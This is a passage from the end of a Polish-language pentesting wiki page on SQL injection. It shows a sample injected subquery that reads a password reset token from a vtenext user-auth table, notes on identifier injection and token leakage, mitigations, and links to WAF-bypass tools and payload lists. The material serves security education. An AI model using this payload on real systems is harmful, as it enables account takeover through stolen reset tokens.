-- Injected subquery to extract a sensitive value (e.g., password reset token)
|
||
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
|
||
```
|
||
Notes:
|
||
- To działa nawet gdy klauzula WHERE używa parametru powiązanego, ponieważ lista identyfikatorów jest nadal konkatenowana jako string.
|
||
- Niektóre stosy dodatkowo pozwalają kontrolować nazwę tabeli (tablename injection), umożliwiając odczyty między tabelami.
|
||
- Kanały wyjścia mogą odzwierciedlać wybraną wartość w HTML/JSON, pozwalając na XSS lub wykradanie tokenów bezpośrednio z odpowiedzi.
|
||
|
||
Mitigations:
|
||
- Nigdy nie konkatenować identyfikatorów pochodzących z wejścia użytkownika. Mapuj dozwolone nazwy kolumn do stałej listy dozwolonych wartości i poprawnie cytuj identyfikatory.
|
||
- Jeśli wymagany jest dynamiczny dostęp do tabel, ogranicz go do skończonego zestawu i rozwiąż po stronie serwera za pomocą bezpiecznego mapowania.
|
||
|
||
### Narzędzia sugerujące obejścia WAF
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/m4ll0k/Atlas
|
||
{{#endref}}
|
||
|
||
## Inne przewodniki
|
||
|
||
- [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||
|
||
## Lista wykrywania Brute-Force
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||
{{#endref}}
|
||
|
||
## Referencje
|
||
|
||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|